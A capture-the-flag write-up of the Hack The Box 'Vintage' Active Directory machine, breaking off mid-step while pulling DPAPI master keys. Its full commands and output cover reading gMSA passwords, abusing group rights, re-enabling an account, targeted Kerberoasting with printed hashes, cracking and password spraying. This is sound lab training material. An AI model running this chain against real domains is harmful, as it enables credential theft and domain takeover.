> For the complete documentation index, see [llms.txt](https://ajaykumar-kanthi.gitbook.io/write-ups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ajaykumar-kanthi.gitbook.io/write-ups/ippsec-unofficial-cpts-prep/htb-vintage.md).

# HTB - Vintage

Hard · Windows · VIP

## NMAP

```bash
PORT      STATE SERVICE       VERSION                                                                                                                                                                                                       
53/tcp    open  domain        Simple DNS Plus                                                                                                                                                                                               
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2026-06-04 01:47:17Z)                                                                                                                                                
135/tcp   open  msrpc         Microsoft Windows RPC                                                                                                                                                                                         
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn                                                                                                                                                                                 
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: vintage.htb, Site: Default-First-Site-Name)                                                                                                                  
445/tcp   open  microsoft-ds?                                                                                                                                                                                                               
464/tcp   open  kpasswd5?                                                                                                                                                                                                                   
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0                                                                                                                                                                           
636/tcp   open  tcpwrapped                                                                                                                                                                                                                  
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: vintage.htb, Site: Default-First-Site-Name)                                                                                                                  
3269/tcp  open  tcpwrapped                                                                                                                                                                                                                  
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)                                                                                                                                                                       
9389/tcp  open  mc-nmf        .NET Message Framing
49664/tcp open  msrpc         Microsoft Windows RPC
49667/tcp open  msrpc         Microsoft Windows RPC
49676/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49687/tcp open  msrpc         Microsoft Windows RPC
57989/tcp open  msrpc         Microsoft Windows RPC
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
```

We are given credentials to complete the machine.

`P.Rosa : Rosaisbest123`

### SMB

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2Ft9N99QOl55UJAdQ47PpR%2Fimage.png?alt=media&amp;token=fc2262f4-3831-4fd5-872f-9eaf4a87fbdf" alt=""><figcaption></figcaption></figure>

NTLM Authentication is disabled.

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FtCweVX7a6vduqzQ2crGr%2Fimage.png?alt=media&amp;token=f1187b3d-043f-4de9-90db-c73f70676028" alt=""><figcaption></figcaption></figure>

No interesting shares found. But following details are revealed:

Domain : `vintage.htb`

DC : `dc01.vintage.htb`

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FntxIMkmiuGXRRhGwmayM%2Fimage.png?alt=media&amp;token=9a501619-19ef-4016-816b-dfcc8441bb33" alt=""><figcaption></figcaption></figure>

Copy the users to a file.

```bash
──(ajay㉿kali)-[~]
└─$ awk '{print $5}' cut.txt                  
krbtgt
M.Rossi
R.Verdi
L.Bianchi
G.Viola
C.Neri
P.Rosa
svc_sql
svc_ldap
svc_ark
C.Neri_adm
L.Bianchi_adm
                                                                                                                                                                                                                                            
┌──(ajay㉿kali)-[~]
└─$ awk '{print $5}' cut.txt > users.txt
```

With the credentials given we can collect bloodhound data and look for exploitation paths.

## Bloodhound

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FiI9u8ybSqBBobRixWSyc%2Fimage.png?alt=media&amp;token=b0e89b5b-d0c7-4db7-b4c9-489e4f36ddb2" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FIo8YXvsYmxc8uBVUkqTn%2Fimage.png?alt=media&amp;token=a95f08c4-6863-45a9-bd84-51c9da40be24" alt=""><figcaption></figcaption></figure>

Cant winrm to P.rosa as we dont have permissions too and also dont have any Object outbound control permissions.

DC01.vintage.htb is the DC but i found another computer called FS01.Vintage.htb

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FbYt2zf4pYq2KfGzvtfja%2Fimage.png?alt=media&amp;token=0a2a3413-9801-4ad0-8660-7d807eb1f985" alt=""><figcaption></figcaption></figure>

When a computer account is created with the **"Pre-Windows 2000 compatible" checkbox** ticked in AD, the password defaults to the **lowercase computer name** (without the `$`).

So for **FS01.VINTAGE.HTB**:&#x20;

```bash
username: FS01$
password: fs01
```

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FxlsqqLZe5leO2kf6iNMc%2Fimage.png?alt=media&amp;token=f8a9cc93-325d-472b-83e9-de57a4367b22" alt=""><figcaption></figcaption></figure>

Now that we have the account credentials, we can enumerate the bloodhound as FS01.

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FR4r3K16ghDVcA8GRLooJ%2Fimage.png?alt=media&amp;token=8ff1ab85-dbb6-4c20-a8f3-e6e8187333c2" alt=""><figcaption></figcaption></figure>

FS01 is part of Domain Computers which has ReadGMSAPassword on GMSA01$ so FS01 automatically inherits the permission.

### ReadGMSAPassword

We can use bloodyAD for this purpose.

```bash
┌──(ajay㉿kali)-[~]
└─$ bloodyAD -d vintage.htb --host dc01.vintage.htb -u 'FS01$' -p 'fs01'  -k  get object 'GMSA01$' --attr msDS-ManagedPassword

distinguishedName: CN=gMSA01,CN=Managed Service Accounts,DC=vintage,DC=htb
msDS-ManagedPassword.NTLM: aad3b435b51404eeaad3b435b51404ee:13277778844d7ff470fd39c065908bc2
msDS-ManagedPassword.B64ENCODED: ruh0ERC4Auu/PvDr1dZE94DBIqRfO3llr8ng/7s/4GSnY3F/SPBcHeqHCRnjWLKIuNVCWIcA2k2tYKIGaxrYvZ611gnIZrlt9Lv5RI3zIA8TX9CfljXIWOIg/gnGEGt8BXrwQbN1re6KqR4PMvmqPn6Ry6Svok8mQv6KbRTc2QCkPe+oVrK7O+I0qxAbxT1v9fRmxm8FJATbQzLqRWmbtjgO1Pfa0KqWnOU9UJvKHg4WwrzVVojy12pM9FtLvG+bRf2+u8xye3H2X7t0+JFzrAYpyM0pFZEiCqL7qgwCizZiEGw62SUpw7H9DxYBVavecfOyEQpx85lszI0R2e95cQ==

```

Got the NTLM hash fro `GMSA$.`

```bash
┌──(ajay㉿kali)-[~]
└─$ nxc smb dc01.vintage.htb -u 'gmsa01$' -H '13277778844d7ff470fd39c065908bc2' -k
SMB         dc01.vintage.htb 445    dc01             [*]  x64 (name:dc01) (domain:vintage.htb) (signing:True) (SMBv1:None) (NTLM:False)
SMB         dc01.vintage.htb 445    dc01             [+] vintage.htb\gmsa01$:13277778844d7ff470fd39c065908bc2
```

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FmrKoR7hGsdyhOO0iNonQ%2Fimage.png?alt=media&amp;token=e89735af-66c8-4551-a1d1-bb54483dc642" alt=""><figcaption></figcaption></figure>

Cant winrm to `GMSA01$` as the user is not part of Remote Management Users.

`GMSA01$` has Outbound object control on `SERVICE MANAGERS GROUP`.

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2F6LHUTiD3rcQ8LL44tv9x%2Fimage.png?alt=media&amp;token=187f0371-1e7f-4010-a861-ff559877c186" alt=""><figcaption></figcaption></figure>

### Adding GMSA01$ to SERVICE MANAGERS

```bash
getTGT.py vintage.htb/'GMSA01$' -hashes aad3b435b51404eeaad3b435b51404ee:13277778844d7ff470fd39c065908bc2  -dc-ip 10.129.231.205

export KRB5CCNAME=GMSA01\$.ccache

─(ajay㉿kali)-[~]
└─$ bloodyAD -d vintage.htb --host dc01.vintage.htb -u 'GMSA01$' -k add groupMember SERVICEMANAGERS 'GMSA01$'
[+] GMSA01$ added to SERVICEMANAGERS


┌──(ajay㉿kali)-[~]
└─$ bloodyAD -d vintage.htb --host dc01.vintage.htb  -u 'GMSA01$'   -k  get object SERVICEMANAGERS --attr member

distinguishedName: CN=ServiceManagers,OU=Pre-Migration,DC=vintage,DC=htb
member: CN=C.Neri,CN=Users,DC=vintage,DC=htb; CN=G.Viola,CN=Users,DC=vintage,DC=htb; CN=L.Bianchi,CN=Users,DC=vintage,DC=htb; CN=gMSA01,CN=Managed Service Accounts,DC=vintage,DC=htb
```

`GMSA01$` is added to `SERVICE MANAGERS.`

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FWgQO4rqhsByDpSc86Jvw%2Fimage.png?alt=media&amp;token=f384cf20-32dc-4570-984b-341c3f255c21" alt=""><figcaption></figcaption></figure>

Service Managers has GenericAll permissions on `SVC_SQL, SVC_ARK, SVC_LDAP.`

Now that `GMSA01$` is part fo Service Managers, he automatically inherits the permissions.

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2F32k59pjSZBcylsYnZkFn%2Fimage.png?alt=media&amp;token=fbf80e1b-5c42-4b27-b54d-1171101c99cb" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2Fv3wUCUApfHJnjz5nwxQy%2Fimage.png?alt=media&amp;token=dda14f59-f438-4c10-9665-158d4e86bde3" alt=""><figcaption></figcaption></figure>

sql\_svc is disabled so we need to enable it.

### Enabling SQL\_SVC

```bash
──(ajay㉿kali)-[~]
└─$ KRB5CCNAME=GMSA01\$.ccache bloodyAD --host dc01.vintage.htb -k -d vintage.htb remove uac svc_sql -f ACCOUNTDISABLE
[-] ['ACCOUNTDISABLE'] property flags removed from svc_sql's userAccountControl

```

### Abusing GenericALL

I can either change the password or do a kerberoasting attack.

First we need to get a new TGT as GMSA01$ so that we get the ticket as part of Service Managers Group.

```bash
┌──(ajay㉿kali)-[~]
└─$ getTGT.py vintage.htb/'GMSA01$' -hashes aad3b435b51404eeaad3b435b51404ee:13277778844d7ff470fd39c065908bc2  -dc-ip 10.129.231.205
Impacket v0.13.1 - Copyright Fortra, LLC and its affiliated companies 

[*] Saving ticket in GMSA01$.ccache
                                                                                                                                                                                                                                            
┌──(ajay㉿kali)-[~]
└─$ export KRB5CCNAME=GMSA01\$.ccache
```

Next using this ticket we can change the password of all three accounts.

Changing the password resulted in an error and asks us for need of old password.

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FfL9SyLHvFYRtF63I6NdW%2Fimage.png?alt=media&amp;token=c6215210-c483-4ca4-bef6-3f2b5bb53faa" alt=""><figcaption></figcaption></figure>

So our option is targeted kerberoasting attack.

### Targeted Kerberoasting Attack

```bash
┌──(ajay㉿kali)-[~/Tools/targetedKerberoast]
└─$ python3 targetedKerberoast.py -d vintage.htb -k --no-pass --dc-host dc01.vintage.htb 
[*] Starting kerberoast attacks
[*] Fetching usernames from Active Directory with LDAP
[+] Printing hash for (svc_sql)
$krb5tgs$23$*svc_sql$VINTAGE.HTB$vintage.htb/svc_sql*$cc9637424b0269e9a39f8b70dc7a67d2$07d9665d43b5e1df03ed0048d7628633149c20e6f3d840762e430dfd3a7bef9021cd1d2925718265940e1ae1fac5c2fc19d3ef4d8c0c4dc720555d749f2ae8cfef574aae42a00642f1839c33f74483da2ba1698604d31e665df335ed4a7ecf1d201af31813f3430735d25734067489cf2b4d8ef376be0639de44704ce649d8239c72fc6465a886323e0b7aa3ba82fdcf5891adad17887611a353c38cfdb6ade180aa03d0a7b5b9fbac07a6e0da3387b00996afb81b25e95237a922cf871a769fd52cb75643fe1381c24ef6f57b7b17e7eb96232e665dcb22fa969ef3ba52d9fe0cec5e73da2b036688145eb328562e3799ab78e323d469f00b8904fd2ffc7f3aaca6be2550ff890fb94db2213d471311a5a21495bb3405b7116da656d1e9d6853fb272f5cc12aa1d52ccdcb2c54ab681480fc4df3138074e9286c9dcb2ca74d9a823b914ce55b8946b44d776869f6d13c7b733376be45d74919491b0a31393aaea7889160f5dddd236a9e46b7c06f9d25c6ad14fcf90663d73f73f6e9ab3d5475c7a40a7af758f336e037667f490a75a9207ded08a44508b8c19285ff134dfa45d1a6b11ee923fe3c274812ae9005565a23602cbfebee2d882276693827af1626bcbfb644a0491a8f6d006a0481104f03e2e2e06c3bdca848290f47c722ccc368257300f96656ff21bce5f493de22172a0496d9ea0e68f11c5f40f5cc00235ee210e706b0aff44c4cf550fd0fbeff85fe36d05f1391976bc519fcf826ae030f3b4debe2427fdf38679601506bfe0c6c30100837d4cfa637b8cf0bb9b9b97e4481c40334d8850a407f13785974e62d852a3014f4018813a6b6d7c78a68e1121002fdf6f913f09baaf7a019d701c74eb7d7a7a872032a4178ec83f2a98afba0311aa4b443adf7c44d9bfa2e26d0bf148706ea1a8ff71d5615ddf0f4df659b5acb43ec72d340401f48ad843843fb59ad5c3d45e0aa6719f3e6cdb0f1d0d04af8bb701265063ea9aa8ddb303edbcd00104a2e0a915ff19fde371dadbacb11338d724393b38ec4e89ee0285bef701dff1d4c2fd9e14b52d8587899f7315fb0a8912a8549e569d360cd6dbdfad5e7c8d8651bb3abcfcc6bde670776b4c3cff03c756d70d11221ca189e746bb9b737c51c3b5bb1541288ee31e83e23003438440c688c5e79b33043ac9e3b3b110b829b17a9f5c6ef7655c85f1b07914d52650facdde6b5a50434361dc24ab1dfd14fd71ecbdf19aed8f29e5d192f29a4bd6563059b3d995b6ecf36ab06b742b90f581a229e8f4b5e55e84b9c108e4f5cc9ef11a59b452905f3a1c8f88f8d9cd6e23a25fe598efc81b3e635566cadb293ea463df8cfc906698333f25b41cbd9b5f009d6db8996d3eada138af8fda91568bba63ca8ac83d046788ff02fba4563aaa4a16d921b497821f5ae875c624f470f7834cf674843c69f4b1
[+] Printing hash for (svc_ldap)
$krb5tgs$23$*svc_ldap$VINTAGE.HTB$vintage.htb/svc_ldap*$9093fa971b22b8d4531514e292a1a247$32aedcd7c8944ec32cff8c7b1472ca2673d707d3dc4ba307b907dd400fe58fbda5a49f05b9a7a48311d306b8938b64bef008f2edd14726e380ce1bff947a58be2b281cd8cfdac7f29caf93f5f51ec2155ba8af0dcf715ae43edcdfbf0e71aab44cba8be6065b5a67ea82874f473e11a54a3db3e6ae1c99ab31b4d57da81e1c6213dccc86bd3920294118bb57ac2dad87c348c626c3881d3af87dcf024dcb8269f2acb0e024de49a0d698f9d9234439d97675c56d390b9f5d8f96663319d07b88cbbe129b22e494cd968b8a5fae7b0d2b7f011f78768202c3b74a55647bfc8845cfcb6b06f26fc9ba5988c622dd78c436354823c5ca7d52c3ff7173d2e1dd443a0b2b425f4e2526181649c542f3fc65fad3be07e6014ff238b417fafb668380d58cd26491b400149978ab0b1a57e2eed936cf1f86bf0ec828a00724aac8b41ae75a3fa0f281c66455c14f6490b974e4325592ef97cb21c3f86124e2563eb1d1330153593d8df51a17b41d24bd6894820f3cece012345c605a469039cab028a00a8e4d73e9bda5027fd8e7d81ac2758f07bae82468d6ddea3ce407d495f18a8bcbca6548d823b9abe598a574c3026df33c9a96913cf91db8b9e3b613cd81bf95f5623cc98677477eb1a7ca4853ac6f19bc91f03d496f7cdf90868f2102cdee553ed16026cc65da2fa16b8738b2706288310109a0b08829f504a53f51c2a2adf330136f847c9664004f2043fffef9db8a552b40fcb30b165bd5c50113f52ac7b3493edebbb4d08ec79594406e18509f90a30630fa1454ef00021972bb425a953a7b94ec54218ffcf0b5cdd4d6bbcd5fe745fef42a44ad2be538fafed717419798f3b1a356e2ac2b3e37caf23b42976fb5ccfac16d8b49af8cdaba2eaff64637881a4aa4f0e562038a3ebd3cfcf3b7af7b4855fa1ffdb976cc4135e00ef6b3edd0fdded28e0476e62f4f947fb5f5da3c4a2666cacdc96966383bf2f55f80a867372e3d7fb1411909a3c4b16ab479c3f7e52c3d960941f4eeef3145f05fb056583ef5e6f0602cb41bc2165b99eb4e8f0feb7978cb7ed30829f0d5d3c02b95f35b2434f1a88f5018873c952b471044d47448add03c1f731c89cd750c8b659ce3e7d9ecab1e49ec4a99d08a2fd4581e62d72972e38fcce6fa6728479b69bd8813a36b92e25af863e9bc3a456e1efa600462c8cdd65f5a94f10cf5da7eb09d1bf3b97ca3b1549fcc770ed9a18ace75ed5ed54bc64faf425e3cf225bed33d9ac0e426b78ade9c8f54b57b7752732da82582761335d9b10ba4bc9c14de8b83826c3c80bf73d793063537b301aa819c2321e1e6843e99fb2a2fa28cb1ebae1ead891167e002926f41dad326913451bd3eba0b4afa5435dd5e6cd2482fa9de1e48682c81e0d209b672140338d8361c29f5d455b280189e203500c78f1e3ae699eabc977646a4126be1
[+] Printing hash for (svc_ark)
$krb5tgs$23$*svc_ark$VINTAGE.HTB$vintage.htb/svc_ark*$4a4344998618d3790c920a0bef477231$859c91d1fe5e431a93c4b0b27d8a144c9517cabce83bc7174f9b6c05e1e539a9ef3c93ab8f49dcd3c46e9b71658656fe83e965c6e62f6888856fbc5f71e1290b27efa21013b10ff19d8f5875215122ede8cbf903093f2165e6af22bbdcc18d6a3cd9e6811e6861e9dc885a2ea27113aa21d73247e35a855b5f53ca29903ff459bec48e9bca934ce5fe62add6842a29ccc130efa2def29236dd139ed82e49513d31d794860c7fa54d6780cbd4e8fe98ead5d107e474c62716f271525a3021110e2d26dc0e105cd4de1ec347329566e6f1c0a35913af93fd47155f1b9fdf718f4c8d248548f0ec6616c67c8b2cbd80b7257c4bd54d06cedef2e8ed54763a7eed9b2ff9d0b67db0805d6e73eed91900ecf2d6f1a9d94fdee076abc1fa913a0ebc041987eb2621f877a9e27b915233d3eb089a9350b718c593aabc65ad14bd748e7b3ffed59a0a05852706e6a5712c93824ab37afb8dccf0d0fc87d228d6e3903b1e3e80c68f87352890d091cca031625a7f71273a0041215e1ba63e0412df95ce1ab2a888de3a12c331af7e93d18c5131dca7af298a5c6bc16490bcead19fa58d98bdf76cd4a38bcd7ac9ed3d4e1ef018ccd759944af90b1c02710c55b3e6eaf325d87dac363a5b8888b070db83c04c9d99a0217f662fddc968875ba1adddac25204f1def8830408775a61287ebd2f4a8ccc31112d83069430b8f9bb6486caedaf5d2d2bcb11b2bca438059d9b6e67fa1b4dc8d5331bffc41ae40056b77686f0b5092eae31d38071c7b0d9d322019072b81a4b096e444ea4d6e217c0dc7351e106d9037c0f8b9677b479f1f9ef1eeb6800f38f366521be5499500cec418d72791f2d7dc8350246272cd3966ef2fc9e1900bca8710dfbed8ee69d8b1dabbd4c52991fb8b378659d14b9b27a567cfed7a016d681660adbd38ab225f23ab77fa3866f70e74eea0faefcf06e251c378f5774d558f764d6f0ca90f06aa39f9331945cf23fda9691d5d38068563726d4ce24e252d9ccccc20e767af26c9504395a5ac69ccca6b01acd9fa19f63f2681f2d54afe9c3516319f6389b219404f7822652123fd5459f6c15d1f87ffc85dda42a633e449d3783188a6a8191626eea13e4fc61c4327fd2cc67675a6b1d133c631ef66c23af0a3f6a2245a63495d66184f34c6fa08a01cb9a2002c36d18bea9bb8b3ba43625f57012a340dca68e32288bc20a2b80f2b8f0bd955c3a217ae76c339350f3f07a7722c4868def64078cf680ff7d6ba93c0988bdeaf0c187053f1217a86e16101cdd1d1ac50a5c6012f5cc9d35504521f341d7ca45ae7f7901d7d65886a11960f383033a2adaebe065900ffe1e8b9cb60a9813fc98867bfc18bd0d4c632a1202cb7fd05ec402eb7ffeca71a6ec2ac080e4e6b084bc46739f14515ea408a1ed99ed671d2f12286a41a5d69bc131af19b358dceb3
```

```bash
┌──(ajay㉿kali)-[~/Tools/targetedKerberoast]
└─$ python3 targetedKerberoast.py \
  -d vintage.htb \
  -k \
  --no-pass \
  --dc-host dc01.vintage.htb \
  -o hashes.txt
[*] Starting kerberoast attacks
[*] Fetching usernames from Active Directory with LDAP
[+] Writing hash to file for (svc_sql)
[+] Writing hash to file for (svc_ldap)
[+] Writing hash to file for (svc_ark)
```

We can use hashcat to crack the passwords.

```bash
$krb5tgs$23$*svc_sql$VINTAGE.HTB$vintage.htb/svc_sql*$275a44b0b85668f88e00a9d7507b410e$b806b1df8d1ba1ff8026ef86d707bd956e545ebca03278d65d61c1e3998a4d095123e510b0b3a606f40da205ed86dc0ef15c2db457cd4ff7047284694b2c9bdf2b58d39548f5ecb94a240fe7be59ff829d8ce5e9894d00226e732b623bdf2517806122cd93029292b076e4b237d7b416b312e32ea568a08bd4b96526e5e5de34d821fd42e7cf724e2dbd43d6bf89bb68eb792f7f774df81d5a3af4e027cc7257abce2d8005e9a66604fabe885bc56fd28ea4a1b9f56cd535bc6ff2ea652e2a0c258f33fbb3775ba64555135418b697dc60d964c2712c1e23598326c283311eec506375df71b49d3dd8806b21c8c0258782d537634d003fd837a82b2c05816cf47a4675d1694450bf6d30ac68b43f7493338698831f63dc4eae7dc4b55fb6e34b7cc3a74fc3ec77b853c17f86383d2987861a38330a2dc285a7a5a10fa65bb08a47150a843299ae938f291fc132c4597796b4afd5a90b4d7ad29a7a02a284b0f26442323551745d0184c4d487106835fe27a654c20d4446cbc53521bef747b0d4e948e5061b7020de827b6e761bc65e459eec54c9c2e19dd86f6c58838ca48c632f4ff248c729ae3fd8f5afb32a5c5b2089032a4a959a6cc48685bbf3dbc4b363999bac341c5b5e50ff6e103ad47864a0767609cfce78e846a22fe99c10e7dc187274bea4538f361b1a1adfbbeca0f12ac5e2b841e48d5b46816f7996221b6c77a2d6e24aba8af409299ca37f9654761b2e5d1da1e94235e38b22a073359cb5ffa8553c752adc3b81ae3b36ac4b430c77ff82ff2b8d0b24ad6dfdbb947a37c36a13be144d24c00eda8c7aa2d1e3502cf45077401f5705e63a690949b4e5f0be1eccc09e692dc7f076285cafac331e91173abd7b03b0daa0b5309d1e4af46b9d16023eb4baf3283dfc76cf498024af3904c201d1c9666eefdb7fa334bb78b5120e92ca5e3f8b75fc83f6d9858edb31a45ba209d6326962896896c1934213735d1be4ea9c70582826e9e80afe62d7cfd57ce134820df1a1f0f329612015735e7f4ce34af0e8b2fa08941e0c4b160be1a0352f54e8aeaa14bc76b7ac2065d896fc200f2190e896b8ccc2db14b67afa77c4e2c93e1f0ed37d41c020354602584801f476995a44cf4fbde3f0a9b719089fdb9ee153d81a9a167214e32272026633c417b438d6afc88546305db6f4dcbc865c0ad126f7269fb76dc6b76b3f29827f785f190ceaf127e802bf7d72e08e2539d38c1b91cc9097846490102269ec681733e682fa5f443ad67bbd956f4432aeb261788fff86a1271f4f7bda5fe1823e48838887eb7b15676f837f3046ba7c9861516b2b58990bc1e6f8e99e593fdfbc059f0de4c5ea8aa94325df4cb917d89c162a9c49d4531c909e2d9edc7d20fa5ae6247d99b579175c084332e43636f588e833799418ecbccb346ca03b2bebc8700472ca1b28a6:Zer0the0ne
```

`svc_sql : Zer0the0ne`

`SVC_ARK` and `SVC_LDAP` didn't crack with rockyou.

```bash
┌──(ajay㉿kali)-[~]
└─$ nxc ldap 10.129.231.205 -u 'svc_sql' -p 'Zer0the0ne' -k
LDAP        10.129.231.205  389    DC01             [*] None (name:DC01) (domain:vintage.htb) (signing:None) (channel binding:No TLS cert) (NTLM:False)
LDAP        10.129.231.205  389    DC01             [+] vintage.htb\svc_sql:Zer0the0ne 
                                                                                       
```

Now that i have password for `sv_sql` i tried to password spray aganist the users we have collected before to see if we can find any account with password reuse.&#x20;

Because sql\_svc do not have any extra privileges that we can enumerate furthur.

```bash
┌──(ajay㉿kali)-[~]
└─$ nxc smb 10.129.231.205 -u users.txt -p 'Zer0the0ne' -k  --continue-on-success
SMB         10.129.231.205  445    dc01             [*]  x64 (name:dc01) (domain:vintage.htb) (signing:True) (SMBv1:None) (NTLM:False)
SMB         10.129.231.205  445    dc01             [-] vintage.htb\krbtgt:Zer0the0ne KDC_ERR_CLIENT_REVOKED 
SMB         10.129.231.205  445    dc01             [-] vintage.htb\M.Rossi:Zer0the0ne KDC_ERR_PREAUTH_FAILED 
SMB         10.129.231.205  445    dc01             [-] vintage.htb\R.Verdi:Zer0the0ne KDC_ERR_PREAUTH_FAILED 
SMB         10.129.231.205  445    dc01             [-] vintage.htb\L.Bianchi:Zer0the0ne KDC_ERR_PREAUTH_FAILED 
SMB         10.129.231.205  445    dc01             [-] vintage.htb\G.Viola:Zer0the0ne KDC_ERR_PREAUTH_FAILED 
SMB         10.129.231.205  445    dc01             [+] vintage.htb\C.Neri:Zer0the0ne 
SMB         10.129.231.205  445    dc01             [-] vintage.htb\P.Rosa:Zer0the0ne KDC_ERR_PREAUTH_FAILED 
SMB         10.129.231.205  445    dc01             [+] vintage.htb\svc_sql:Zer0the0ne 
SMB         10.129.231.205  445    dc01             [-] vintage.htb\svc_ldap:Zer0the0ne KDC_ERR_PREAUTH_FAILED 
SMB         10.129.231.205  445    dc01             [-] vintage.htb\svc_ark:Zer0the0ne KDC_ERR_PREAUTH_FAILED 
SMB         10.129.231.205  445    dc01             [-] vintage.htb\C.Neri_adm:Zer0the0ne KDC_ERR_PREAUTH_FAILED 
SMB         10.129.231.205  445    dc01             [-] vintage.htb\L.Bianchi_adm:Zer0the0ne KDC_ERR_PREAUTH_FAILED
```

```
C.Neri:Zer0the0ne 
```

Looking on the bloodhound C.Neri is part of Remote Management users hence we got a shell.

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FVeEhXbze0KWwtQPuA0b6%2Fimage.png?alt=media&amp;token=35595b93-dc91-4069-904b-d420e2040a38" alt=""><figcaption></figcaption></figure>

## Shell as C.Neri

```bash
──(ajay㉿kali)-[~]
└─$ getTGT.py vintage.htb/C.Neri:'Zer0the0ne' \
  -dc-ip 10.129.231.205
Impacket v0.13.1 - Copyright Fortra, LLC and its affiliated companies 

[*] Saving ticket in C.Neri.ccache
                                                                                                                                                                                                                                            
┌──(ajay㉿kali)-[~]
└─$ export KRB5CCNAME=/home/ajay/C.Neri.ccache
```

```bash
┌──(ajay㉿kali)-[~]
└─$ cat custom_krb5.conf 
[libdefaults]
    default_realm = VINTAGE.HTB

[realms]
    VINTAGE.HTB = {
        kdc = 10.129.231.205
    }


┌──(ajay㉿kali)-[~]
└─$ export KRB5_CONFIG=$PWD/custom_krb5.conf

```

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2Fa6w6eytUegv5iXa8e2Bq%2Fimage.png?alt=media&amp;token=45baa328-ef52-496f-87ac-d29df1563892" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FuTgTpaEAShdffuyWEx97%2Fimage.png?alt=media&amp;token=afd92e75-bd60-4c34-b6d3-cfa28889edb6" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FPLQh7jM68HKjX9olJxqi%2Fimage.png?alt=media&amp;token=1eba2fe5-8d71-4538-a867-c8924f6318df" alt=""><figcaption></figcaption></figure>

Found `c.neri_adm` in the users directory.Looking at bloodhound c.neri\_adm has GenericWrite on `DELEGATEDADMINS` so we need to escalate as `c.neri_adm`.

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2F39ZP6AFf6HgPOHQNpIjk%2Fimage.png?alt=media&amp;token=af553b10-0acb-42a9-882f-ca91e13ba4d3" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3740518612-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOH84nxPA0OhkjhNX692h%2Fuploads%2FgkdaovcMO6JNt6DCETJ6%2Fimage.png?alt=media&amp;token=e132ea53-f7d7-41ee-8920-d01668f7d8af" alt=""><figcaption></figcaption></figure>

### Dumping DPAPI Protected Credentials

There are two master keys we can downlaod the files to our attack machine and crack using DPAPI.

```bash
*Evil-WinRM* PS C:\Users\C.Neri\AppData\Roaming\Microsoft\Protect\S-1-5-21-4024337825-2033394866-2055507597-1115> [Convert]::ToBase64String([IO.File]::ReadAllBytes('C:\users\c.neri\appdata\Roaming\Microsoft\Protect\S-1-5-21-4024337825-2033394866-2055507597-1115\4dbf04d8-529b-4b4c-b4ae-8e875e4fe847'))
